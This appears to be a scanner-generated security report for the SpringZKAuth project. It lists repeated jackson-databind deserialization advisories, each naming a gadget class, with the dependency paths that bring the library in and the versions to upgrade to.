- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget javax.swing.JEditorPane.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.7.9.7, 2.8.11.6, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to gadget org.aoju.bus.proxy.provider.remoting.RmiProvider (aka bus-proxy).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.openjpa.ee.WASRegistryManagedRuntime (aka openjpa).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadgets org.apache.activemq.* (aka activemq-jms, activemq-core, activemq-pool, and activemq-pool-jms).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to gadget org.apache.commons.proxy.provider.remoting.RmiProvider (aka apache/commons-proxy).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.apache.commons.jelly.impl.Embedded (aka commons-jelly).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It mishandles the interaction between serialization gadgets and typing, related to org.springframework.aop.config.MethodLocatingFactoryBean (aka spring-aop).
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.4 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the com.sun.org.apache.xalan.internal.lib.sql.JNDIConnectionPool (xalan2) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.
Note: This vulnerability does not affect release 2.10.0 onward.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. The package mishandles the interaction between serialization gadgets and typing, related to org.jsecurity.realm.jndi.JndiRealmFactory.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
- On Jackson CVEs: Don’t Panic on Medium
- NCC Group Jackson Deserialization WhitePaper
- Java Security Best Practices
Remediation
Upgrade com.fasterxml.jackson.core:jackson-databind to version 2.6.7.4, 2.9.10.5 or higher.
References
high severity
- Vulnerable module: com.fasterxml.jackson.core:jackson-databind
- Introduced through: org.apache.kafka:kafka_2.11@1.0.0, org.flywaydb:flyway-core@11.17.0 and others
Detailed paths
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.apache.kafka:kafka_2.11@2.2.2.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.flywaydb:flyway-core@11.17.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.flywaydb:flyway-core@11.17.0.
-
Introduced through: maxamel/SpringZKAuth@maxamel/SpringZKAuth#03a3bc40849c677f3afe685b66a9acd3db17c7b3 › org.springframework.kafka:spring-kafka-test@2.1.2.RELEASE › org.apache.kafka:kafka_2.11@1.0.0 › com.fasterxml.jackson.core:jackson-databind@2.9.1Remediation: Upgrade to org.springframework.kafka:spring-kafka-test@2.3.0.RELEASE.
Overview
com.fasterxml.jackson.core:jackson-databind is a library which contains the general-purpose data-binding functionality and tree-model for Jackson Data Processor.
Affected versions of this package are vulnerable to Deserialization of Untrusted Data. It is possible to conduct a Deserialization attack using the oadd.org.apache.xalan.lib.sql.JNDIConnectionPool (apache/drill) class gadget if polymorphic type handling is enabled and an application using this package allows user input which gets deserialized.
Note: This vulnerability does not affect release 2.10.0 onward.
Details
Serialization is a process of converting an object into a sequence of bytes which can be persisted to a disk or database or can be sent through streams. The reverse process of creating objects from a sequence of bytes is called deserialization. Deserialization of untrusted data (CWE-502) occurs when an application deserializes untrusted data without sufficiently verifying that the resulting data will be valid, allowing the attacker to control the state or the flow of the execution.
com.fasterxml.jackson.core:jackson-databind allows deserialization of JSON input to Java objects. If an application using this dependency has the ability to deserialize a JSON string from an untrusted source, an attacker could leverage this vulnerability to conduct deserialization attacks.
Exploitation of unsafe deserialization attacks through jackson-databind requires the following prerequisites:
1. The target application allowing JSON user input which is processed by jackson-databind
An application using jackson-databind is only vulnerable if a user-provided JSON data is deserialized.
2. Polymorphic type handling for properties with nominal type are enabled
Polymorphic type handling refers to the addition of enough type information so that the deserializer can instantiate the appropriate subtype of a value. Use of "default typing" is considered dangerous due to the possibility of an untrusted method (gadget) managing to specify a class that is accessible through the class-loader and therefore, exposing a set of methods and/or fields.
3. An exploitable gadget class is available for the attacker to leverage
Gadget chains are specially crafted method sequences that can be created by an attacker in order to change the flow of code execution. These gadgets are often methods introduced by third-party components which an attacker could utilise in order to attack the target application. Not every gadget out there is supported by jackson-databind. The maintainers of jackson-databind proactively blacklists possible serialization gadgets in an attempt to ensure that it is not possible for an attacker to chain gadgets during serialization.
Further reading:
